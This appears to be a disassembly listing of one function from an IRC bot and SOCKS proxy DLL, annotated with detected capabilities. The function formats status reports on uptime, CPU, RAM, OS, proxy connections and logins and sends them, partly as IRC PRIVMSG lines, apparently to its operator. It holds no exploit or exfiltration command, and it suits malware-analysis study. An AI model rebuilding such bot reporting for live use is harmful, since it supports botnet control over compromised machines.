Function at 0x180015824
Capabilities:
Check for time delay via gettickcount
Get system information on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x9c0
movaps xmmword [r11 - 0x48], xmm6
mov rax, qword [0x1800830c8]
xor rax, rsp
mov qword [rsp + 0x9a0], rax
mov rbx, rcx
mov edi, r8d
mov rsi, rdx
lea rcx, [r11 - 0x7f7]
xor r12d, r12d
xor edx, edx
mov r8d, 0x3ff
mov byte [r11 - 0x7f8], r12b
call fcn.180052810
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [0x18009b578]
mov r14d, 0x10624dd3
cmp eax, ecx
mov r11d, eax
mov eax, r14d
jb 0x1800158a4
sub r11d, ecx
mul r11d
mov ebp, edx
shr ebp, 6
jmp 0x1800158be
mul ecx
mov eax, r14d
mov ecx, edx
mul r11d
shr ecx, 6
mov ebp, edx
shr ebp, 6
sub ebp, ecx
add ebp, 0x418937
mov dword [rsp + 0x70], r12d
mov eax, dword [0x18009b57c]
cmp ebp, r12d
xchg dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x70]
mov edx, 1
cmove ebp, edx
mov r15d, r12d
lea ecx, [rbp + 0x34bc00]
cmp eax, ecx
jle 0x1800158f0
mov ebp, dword [rsp + 0x70]
mov r15d, edx
mov eax, 0xc22e4507
mov ecx, ebp
mul ebp
mov r8d, edx
shr r8d, 0x10
mov eax, r8d
mov dword [rsp + 0x40], r8d
imul eax, eax, 0x15180
sub ecx, eax
mov eax, 0x91a2b3c5
mul ecx
movzx ecx, r8w
mov eax, edx
shr eax, 0xb
mov dword [rsp + 0x44], eax
mov eax, 0x5180
imul cx, ax
movzx eax, bp
sub ax, cx
movzx r13d, ax
mov eax, 0x91a2b3c5
imul r13d
add edx, r13d
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x88888889
imul edx, edx, 0xe10
sub r13d, edx
imul r13d
lea r12d, [r13 + rdx]
sar r12d, 5
mov eax, r12d
shr eax, 0x1f
add r12d, eax
mov eax, r12d
imul eax, eax, 0x3c
sub r13d, eax
test edi, edi
jne 0x180015995
lea rdx, str._r_nSocks_Server_Statistics:__r_n_r_n
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x180017137
jmp 0x1800159d4
lea r8, str.PRIVMSG__s_:Socks_Server_Statistics:__r_n
lea rcx, [rsp + 0x200]
mov r9, rsi
mov edx, 0x3ff
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
test eax, eax
je 0x180017137
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
movzx edx, word [rsp + 0x44]
xor eax, eax
movzx ecx, r12w
cmp edi, eax
jne 0x180015a51
movzx r9d, word [rsp + 0x40]
cmp r15d, eax
movzx eax, r13w
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
mov edx, 0x3ff
lea rcx, [rsp + 0x200]
lea r8, str.Socks_Server_UP_Time_____:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
je 0x180015a2e
lea r8, str.Socks_Server_UP_Time_____:__d_Days__d_Hours__d_Minutes__d_Seconds_Online_Long__r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
xor r12d, r12d
cmp eax, r12d
je 0x180017137
jmp 0x180015abb
movzx r8d, word [rsp + 0x40]
cmp r15d, eax
movzx eax, r13w
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
mov r9, rsi
lea rcx, [rsp + 0x200]
lea r8, str.PRIVMSG__s_:Socks_Server_UP_Time________:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
mov edx, 0x3ff
je 0x180015a8f
lea r8, str.PRIVMSG__s_:Socks_Server_UP_Time________:__d_Days__d_Hours__d_Minutes__d_Seconds_Online_Long__r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
xor r12d, r12d
cmp eax, r12d
je 0x180017137
lea ecx, [r12 + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r9, [rsp + 0x44]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x54]
mov word [rsp + 0x54], r12w
mov word [rsp + 0x50], r12w
mov word [rsp + 0x40], r12w
mov word [rsp + 0x44], r12w
call fcn.180006444
cmp al, r12b
jne 0x180015ba6
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov r11d, eax
mov eax, r14d
mul r11d
mov eax, 0xc22e4507
mov r8d, edx
shr r8d, 6
mul r8d
mov eax, 0x91a2b3c5
mov r14d, edx
mov edx, r8d
shr r14d, 0x10
mov ecx, r14d
mov word [rsp + 0x54], r14w
imul ecx, ecx, 0x15180
sub edx, ecx
movzx ecx, r14w
mul edx
mov eax, 0x5180
imul cx, ax
mov r15d, edx
mov eax, 0x91a2b3c5
shr r15d, 0xb
sub r8w, cx
mov word [rsp + 0x50], r15w
movzx r13d, r8w
imul r13d
mov eax, 0x88888889
add edx, r13d
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0xe10
sub r13d, edx
imul r13d
lea r12d, [r13 + rdx]
sar r12d, 5
mov eax, r12d
shr eax, 0x1f
add r12d, eax
mov eax, r12d
mov word [rsp + 0x40], r12w
imul eax, eax, 0x3c
sub r13d, eax
mov word [rsp + 0x44], r13w
jmp 0x180015bbe
mov r14w, word [rsp + 0x54]
mov r15w, word [rsp + 0x50]
mov r12w, word [rsp + 0x40]
mov r13w, word [rsp + 0x44]
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
xor eax, eax
movzx edx, r15w
cmp edi, eax
movzx ecx, r12w
mov r15d, 0x3ff
movzx eax, r13w
jne 0x180015c30
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
lea rcx, [rsp + 0x200]
lea r8, str.The_System_UP_Time_______:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
movzx r9d, r14w
mov rdx, r15
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
xor r14d, r14d
cmp eax, r14d
je 0x180017137
jmp 0x180015c85
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
movzx r8d, r14w
lea rcx, [rsp + 0x200]
mov r9, rsi
mov dword [rsp + 0x20], r8d
lea r8, str.PRIVMSG__s_:The_System_UP_Time__________:__d_Days__d_Hours__d_Minutes__d_Seconds_r_n
mov rdx, r15
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
xor r14d, r14d
cmp eax, r14d
je 0x180017137
lea ecx, [r14 + 0x32]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x78]
mov dword [rsp + 0x78], r14d
mov dword [rsp + 0x80], r14d
call fcn.180007e74
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
mov eax, dword [rsp + 0x80]
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180015d00
mov r9d, dword [rsp + 0x78]
lea r8, str.System_Avariable_RAM_____:__d_MB____d_MB_r_n
mov dword [rsp + 0x20], eax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180015d3f
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x78]
lea r8, str.PRIVMSG__s_:System_Avariable_RAM________:__d_MB____d_MB_r_n
mov r9, rsi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x18009b7f0], r14
je 0x180015d4f
call fcn.180008d48
jmp 0x180015d54
call fcn.180008fc4
lea rcx, [rsp + 0x200]
mov r12d, 0x64
xor edx, edx
mov r8d, 0x400
mov r13d, eax
sub r12d, eax
call fcn.180052810
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp r13d, 0x64
ja 0x180015dc2
cmp edi, r14d
jne 0x180015da4
lea r8, str.System_Avariable_CPU_____:__d_c_r_n
mov r9d, r12d
mov dword [rsp + 0x20], SQLDriverConnect
call fcn.1800528fc
jmp 0x180015dd3
lea r8, str.PRIVMSG__s_:System_Avariable_CPU________:__d_c_r_n
mov r9, rsi
mov dword [rsp + 0x28], SQLDriverConnect
mov dword [rsp + 0x20], r12d
call fcn.1800528fc
jmp 0x180015e03
cmp edi, r14d
jne 0x180015df4
lea r8, str.System_Avariable_CPU_____:_Un_Support_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov r13d, 0x64
jmp 0x180015e2b
lea r8, str.PRIVMSG__s_:System_Avariable_CPU________:_Un_Support_r_n
mov r9, rsi
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov r13d, 0x64
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rsp + 0xa8]
lea r8d, [rdx + 0x30]
call fcn.180052810
lea rcx, [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r12d, 0x400
lea rcx, [rsp + 0x200]
mov r8, r12
xor edx, edx
call fcn.180052810
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180015ea3
mov r9d, dword [rsp + 0xc8]
lea r8, str.System_Total_CPU________:__u_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180015edf
mov eax, dword [rsp + 0xc8]
lea r8, str.PRIVMSG__s_:System_Total_CPU___________:__u_r_n
mov r9, rsi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
mov r8, r12
xor edx, edx
call fcn.180052810
lea r12, [0x18009b580]
mov rcx, r12
call fcn.1800529c0
cmp rax, r14
jne 0x1800160dc
lea rdx, [rsp + 0x8c]
mov rcx, r12
mov dword [rsp + 0x8c], r13d
call fcn.1800066fc
cmp eax, r14d
je 0x1800160c0
mov eax, dword [rsp + 0x8c]
mov r12d, r14d
mov r8d, r14d
lea r10, [0x18009b580]
cmp eax, r14d
jbe 0x180015f6f
mov rdx, r10
mov rcx, r10
mov r9, rax
cmp r8d, r14d
jne 0x180015f5c
cmp byte [rcx], 0x20
je 0x180015f66
mov r8d, 1
mov al, byte [rcx]
inc r12d
mov byte [rdx], al
inc rdx
inc rcx
sub r9, 1
jne 0x180015f4c
mov eax, r12d
lea rdx, [0x18006a9ec]
mov rcx, r10
mov byte [rax + r10], r14b
call fcn.180053958
cmp rax, r14
je 0x18001605b
lea eax, [r12 - 3]
lea r12, [0x18009b580]
lea rdx, [rsp + 0x94]
mov byte [rax + r12], r14b
xor eax, eax
lea rcx, [rsp + 0x98]
mov dword [rsp + 0x98], r14d
mov dword [rsp + 0x94], 4
mov dword [rsp + 0x9c], eax
mov dword [rsp + 0xa0], eax
mov dword [rsp + 0xa4], eax
call fcn.180006730
cmp eax, r14d
je 0x1800160dc
mov r12d, 0x103
lea rcx, [rsp + 0x891]
xor edx, edx
mov r8, r12
mov byte [rsp + 0x890], r14b
call fcn.180052810
mov r8, r12
lea r12, [0x18009b580]
lea rcx, [rsp + 0x890]
mov rdx, r12
call fcn.180052a80
mov r8, r13
xor edx, edx
mov rcx, r12
call fcn.180052810
mov r11d, dword [rsp + 0x98]
lea r9, [rsp + 0x890]
lea r8, str._s__dMHZ
mov edx, 0x63
mov rcx, r12
mov dword [rsp + 0x20], r11d
call fcn.1800528fc
jmp 0x1800160dc
mov r12d, 0x103
lea rcx, [rsp + 0x781]
xor edx, edx
mov r8, r12
mov byte [rsp + 0x780], r14b
call fcn.180052810
mov r8, r12
lea r12, [0x18009b580]
lea rcx, [rsp + 0x780]
mov rdx, r12
call fcn.180052a80
mov r8, r13
xor edx, edx
mov rcx, r12
call fcn.180052810
lea r9, [rsp + 0x780]
lea r8, [0x18006a9d8]
mov edx, 0x63
mov rcx, r12
call fcn.1800528fc
jmp 0x1800160dc
call fcn.1800067d4
lea r8, str._dMHZ
mov edx, 0x63
mov r9d, eax
mov rcx, r12
call fcn.1800528fc
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180016116
lea r8, str.The_CPU_Speed____________:__s_r_n
mov r9, r12
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x18001614c
lea r8, str.PRIVMSG__s_:The_CPU_Speed_______________:__s_r_n
mov r9, rsi
mov qword [rsp + 0x20], r12
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x681]
xor edx, edx
mov r8d, 0xff
mov byte [rsp + 0x680], r14b
call fcn.180052810
lea rcx, [rsp + 0x680]
mov edx, 0x100
call fcn.180003ab8
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x1800161ba
lea r9, [rsp + 0x680]
lea r8, str.Operation_System_________:__s_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x1800161f8
lea rax, [rsp + 0x680]
lea r8, str.PRIVMSG__s_:Operation_System____________:__s_r_n
mov r9, rsi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r12d, 0x400
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8, r12
call fcn.180052810
mov dword [rsp + 0x64], r14d
mov eax, dword [0x18009b6b4]
xchg dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
lea rdx, [0x18006a92c]
cmp edi, r14d
jne 0x18001626f
cmp eax, r14d
lea r9, [0x18006a928]
lea r8, str.Service_Status___________:_Normal_Shield__s__r_n
cmovne r9, rdx
lea rcx, [rsp + 0x200]
mov rdx, r15
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x1800162be
cmp eax, r14d
lea rcx, [0x18006a928]
lea r8, str.PRIVMSG__s_:Service_Status______________:_Normal_Shield__s__r_n
cmovne rcx, rdx
mov r9, rsi
mov rdx, r15
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x200]
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
mov r8, r12
xor edx, edx
call fcn.180052810
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x1800162ee
lea r8, str.Socks_Server_Ram_Usage___:_Not_Ready_To_Detect_r_n
call fcn.1800528fc
jmp 0x1800162fd
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:_Not_Ready_To_Detect_r_n
mov r9, rsi
call fcn.1800528fc
mov dword [rsp + 0x88], r14d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [rsp + 0x88]
mov ecx, eax
call fcn.180006988
movss xmm6, dword [0x180067808]
cmp eax, r14d
je 0x180016442
mov ecx, dword [rsp + 0x88]
mov rdx, r15
test ecx, 0xfff00000
jbe 0x1800163a2
pxor xmm2, xmm2
cvtsi2ss xmm2, rcx
lea rcx, [rsp + 0x200]
movaps xmm0, xmm2
mulss xmm2, xmm6
mulss xmm0, dword [0x18006a830]
unpcklps xmm2, xmm2
unpcklps xmm0, xmm0
cvtps2pd xmm1, xmm0
cmp edi, r14d
jne 0x18001638a
cvtps2pd xmm3, xmm2
lea r8, str.Socks_Server_Ram_Usage___:__.1f_KB__About__.1f_MB__r_n
movsd qword [rsp + 0x20], xmm1
movq r9, xmm3
call fcn.1800528fc
jmp 0x18001647d
cvtps2pd xmm0, xmm2
movsd qword [rsp + 0x28], xmm1
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:__.1f_KB__About__.1f_MB__r_n
movsd qword [rsp + 0x20], xmm0
jmp 0x1800163fd
test ecx, 0xfffffc00
jbe 0x180016407
pxor xmm0, xmm0
cvtsi2ss xmm0, rcx
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm0, xmm0
cmp edi, r14d
jne 0x1800163e4
mov r9d, ecx
lea r8, str.Socks_Server_Ram_Usage___:__u_Bytes_About__.1f_KB__r_n
lea rcx, [rsp + 0x200]
movsd qword [rsp + 0x20], xmm0
call fcn.1800528fc
jmp 0x18001647d
movsd qword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], ecx
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:__u_Bytes_About__.1f_KB__r_n
lea rcx, [rsp + 0x200]
mov r9, rsi
call fcn.1800528fc
jmp 0x180016478
cmp edi, r14d
jne 0x180016425
mov r9d, ecx
lea r8, str.Socks_Server_Ram_Usage___:__u_Bytes_n
lea rcx, [rsp + 0x200]
call fcn.1800528fc
jmp 0x18001647d
mov dword [rsp + 0x20], ecx
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage______:__u_Bytes_n
lea rcx, [rsp + 0x200]
mov r9, rsi
call fcn.1800528fc
jmp 0x180016478
cmp dword [0x18009b614], r14d
jne 0x180016478
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180016469
lea r8, str.Socks_Server_Ram_Usage___:_Un_Support_r_n
call fcn.1800528fc
jmp 0x18001647d
lea r8, str.PRIVMSG__s_:Socks_Server_Ram_Usage___:_Un_Support_r_n
mov r9, rsi
call fcn.1800528fc
cmp edi, r14d
jne 0x180016498
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x1800164ba
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x18009b574]
mov dword [rsp + 0x68], r14d
lea rcx, [rsp + 0x200]
xchg dword [rsp + 0x68], eax
mov r8, r12
xor edx, edx
call fcn.180052810
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180016517
mov r9d, dword [rsp + 0x68]
lea r8, str.Socks_Server_Connections_:__d_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180016550
mov eax, dword [rsp + 0x68]
lea r8, str.PRIVMSG__s_:Socks_Server_Connections____:__d_r_n
mov r9, rsi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180008274
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
mov r12d, eax
call fcn.180052810
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x1800165a7
lea r8, str.Socks_Server_Total_Login_:__d_r_n
mov r9d, r12d
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x1800165dd
lea r8, str.PRIVMSG__s_:Socks_Server_Total_Login____:__d_r_n
mov r9, rsi
mov dword [rsp + 0x20], r12d
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x90]
mov dword [rsp + 0x90], r14d
mov dword [rsp + 0x7c], r14d
call fcn.1800063e4
lea rcx, [rsp + 0x200]
xor edx, edx
mov r8d, 0x400
call fcn.180052810
call fcn.1800080b0
mov r13d, dword [rsp + 0x90]
mov r12d, r13d
imul r12d, r12d, 0x1b0
add r12d, eax
call fcn.1800080f0
mov rdx, r15
pxor xmm0, xmm0
pxor xmm1, xmm1
cmp edi, r14d
jne 0x1800166af
mov ecx, eax
mov eax, r12d
lea r8, str.Total_Allocated_Block____:__d____About__.2f_KB_r_nTotal_Activated_Block____:__d____About__.2f_KB_r_n
mov r9d, r13d
cvtsi2ss xmm0, rcx
cvtsi2ss xmm1, rax
mov eax, dword [rsp + 0x7c]
lea rcx, [rsp + 0x200]
mulss xmm0, xmm6
mulss xmm1, xmm6
unpcklps xmm0, xmm0
unpcklps xmm1, xmm1
cvtps2pd xmm2, xmm0
cvtps2pd xmm0, xmm1
movsd qword [rsp + 0x30], xmm2
mov dword [rsp + 0x28], eax
movsd qword [rsp + 0x20], xmm0
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov r13d, 0x64
jmp 0x18001672a
mov eax, eax
lea r8, str.PRIVMSG__s_:Total_Allocated_Block_______:__d____About__.2f_KB_r_nTotal_Activated_Block____:__d____About__.2f_KB_r_n
lea rcx, [rsp + 0x200]
mov r9, rsi
cvtsi2ss xmm0, rax
mov eax, r12d
cvtsi2ss xmm1, rax
mov eax, dword [rsp + 0x7c]
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm2, xmm0
movsd qword [rsp + 0x38], xmm2
mulss xmm1, xmm6
unpcklps xmm1, xmm1
mov dword [rsp + 0x30], eax
cvtps2pd xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r13d
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov r13d, 0x64
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x58], r14d
mov eax, dword [0x18009b5e4]
mov r12d, 0x400
xchg dword [rsp + 0x58], eax
lea rcx, [rsp + 0x200]
mov r8, r12
xor edx, edx
call fcn.180052810
mov eax, dword [rsp + 0x58]
mov rdx, r15
lea rcx, [rsp + 0x200]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
mulss xmm0, dword [0x18006a4e4]
mulss xmm0, xmm6
unpcklps xmm0, xmm0
cvtps2pd xmm0, xmm0
cmp edi, r14d
jne 0x1800167b0
mov r9d, dword [rsp + 0x58]
lea r8, str.Max_Activated_Block______:__d____About__.2f_KB_r_n
movsd qword [rsp + 0x20], xmm0
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x1800167ef
mov eax, dword [rsp + 0x58]
movsd qword [rsp + 0x28], xmm0
lea r8, str.PRIVMSG__s_:Max_Activated_Block_________:__d____About__.2f_KB_r_n
mov r9, rsi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x18009b620]
mov dword [rsp + 0x6c], r14d
mov dword [rsp + 0x74], r14d
xchg dword [rsp + 0x6c], eax
mov ecx, dword [0x18009b624]
mov r8, r12
xchg dword [rsp + 0x74], ecx
lea rcx, [rsp + 0x200]
xor edx, edx
call fcn.180052810
mov eax, dword [rsp + 0x6c]
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp edi, r14d
jne 0x180016863
mov r9d, dword [rsp + 0x74]
lea r8, str.Total_Host_Resolve_Stat__:__d____d_r_n
mov dword [rsp + 0x20], eax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x1800168a0
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x74]
lea r8, str.PRIVMSG__s_:Total_Host_Resolve_Stat_____:__d____d_r_n
mov r9, rsi
mov dword [rsp + 0x20], eax
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
mov r8, r12
xor edx, edx
call fcn.180052810
mov rdx, r15
lea rcx, [rsp + 0x200]
cmp dword [0x18009b428], r14d
je 0x1800168e1
cmp dword [0x18009b42c], r14d
je 0x1800168d8
lea r8, str.IRC_Bot_Status___________:_Running__Online_r_n
jmp 0x1800168e8
lea r8, str.IRC_Bot_Status___________:_Running_But_Offline_r_n
jmp 0x1800168e8
lea r8, str.IRC_Bot_Status___________:_Stopped_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp edi, r14d
jne 0x18001690d
cmp eax, r14d
je 0x180017137
jmp 0x18001691f
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x84], r14d
mov eax, dword [0x18009b628]
mov rdx, r15
xchg dword [rsp + 0x84], eax
mov ecx, dword [rsp + 0x84]
lea r8, str.Logging_Status___________:_Running_r_n
cmp ecx, r14d
lea rcx, [rsp + 0x200]
jne 0x180016959
lea r8, str.Logging_Status___________:_Stopped_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp edi, r14d
jne 0x18001697e
cmp eax, r14d
je 0x180017137
jmp 0x180016990
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x200]
mov r8, r12
xor edx, edx
call fcn.180052810
xor edx, edx
lea rcx, [rsp + 0x181]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x180], r14b
call fcn.180052810
xor edx, edx
lea rcx, [rsp + 0x101]
lea r8d, [rdx + 0x7f]
mov byte [rsp + 0x100], r14b
call fcn.180052810
mov eax, dword [0x18009b5f4]
mov dword [rsp + 0x4c], r14d
mov dword [rsp + 0x5c], r14d
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x60], r14d
xchg dword [rsp + 0x4c], eax
mov ecx, dword [0x18009b5fc]
mov r8d, 0x80
xchg dword [rsp + 0x5c], ecx
mov eax, dword [rsp + 0x5c]
lea rcx, [rsp + 0x180]
cmp dword [rsp + 0x4c], eax
cmovg eax, dword [rsp + 0x4c]
xor edx, edx
mov dword [rsp + 0x4c], eax
call fcn.180052810
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
mov r9d, dword [rsp + 0x4c]
lea r8, [0x1800677d8]
lea rcx, [rsp + 0x180]
mov edx, 0x7f
call fcn.1800528fc
lea rcx, [rsp + 0x180]
call fcn.1800529c0
movsxd rcx, dword [rsp + 0x4c]
lea rdx, [rsp + 0x100]
mov r8, rax
call fcn.180004f10
cmp dword [rsp + 0x4c], r14d
mov rdx, r15
lea rcx, [rsp + 0x200]
jle 0x180016ac6
cmp edi, r14d
jne 0x180016aa8
lea r9, [rsp + 0x100]
lea r8, str.Max_Data_Flow_RECV_______:__s___S_r_n
call fcn.1800528fc
jmp 0x180016ad7
lea rax, [rsp + 0x100]
lea r8, str.PRIVMSG__s_:Max_Data_Flow_RECV__________:__s___S_r_n
mov r9, rsi
mov qword [rsp + 0x20], rax
call fcn.1800528fc
jmp 0x180016b01
cmp edi, r14d
jne 0x180016af2
lea r8, str.Max_Data_Flow_RECV_______:_No_Data_Flow_r_n
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
jmp 0x180016b23
lea r8, str.PRIVMSG__s_:Max_Data_Flow_RECV__________:_No_Data_Flow_r_n_r_n
mov r9, rsi
call fcn.1800528fc
lea rdx, [rsp + 0x200]
mov rcx, rbx
call fcn.180012d7c
cmp eax, r14d
je 0x180017137
mov ecx, r13d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x18009b604]
mov r8d, 0x80
xchg dword [rsp + 0x48], eax
mov ecx, dword [0x18009b60c]
xchg dword [rsp + 0x60], ecx
mov eax, dword [rsp + 0x60]
lea rcx, [rsp + 0x180]
cmp dword [rsp + 0x48], eax
cmovg eax, dword [rsp + 0x48]
xor edx, edx
mov dword [rsp + 0x48], eax
call fcn.180052810
lea rcx, [rsp + 0x100]
xor edx, edx
mov r8d, 0x80
call fcn.180052810
mov r9d, dword [rsp + 0x48]
